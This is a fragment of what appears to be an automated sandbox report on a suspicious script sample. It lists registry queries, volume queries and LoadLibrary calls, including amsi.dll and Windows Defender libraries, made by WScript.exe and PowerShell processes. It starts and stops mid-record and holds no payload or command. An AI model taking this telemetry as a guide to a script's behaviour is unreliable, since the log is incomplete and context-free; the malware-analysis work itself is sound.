"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")31:T14b5,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000200-00000C17-2345111915 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000200-00000C17-2345702294 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000200-00000C17-2345773552 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000200-00000C17-2346149855 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00000200-00000C17-2346411205 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000200-00000C17-2347626609 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000200-00000C17-2347770254 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000200-00000C17-2347836420 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000200-00000C17-2349557177 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00000160-00000C17-2359832827 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00000160-00000C17-2360047272 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00000160-00000C17-2361852932 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000160-00000C17-2361930896 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00000160-00000C17-2361953373 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00000160-00000C17-2361970745 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000160-00000C17-2362048632 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000160-00000C17-2362060489 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000160-00000C17-2362060723 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00000160-00000C17-2363770673 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000160-00000C17-2363842441 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000160-00000C17-2363850959 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000160-00000C17-2363851207 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00000160-00000C17-2364436330 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000160-00000C17-2365883568 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000160-00000C17-236637928232:T4ed,"WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")33:T61f6,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006196) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006196) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\wminet_utils.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter 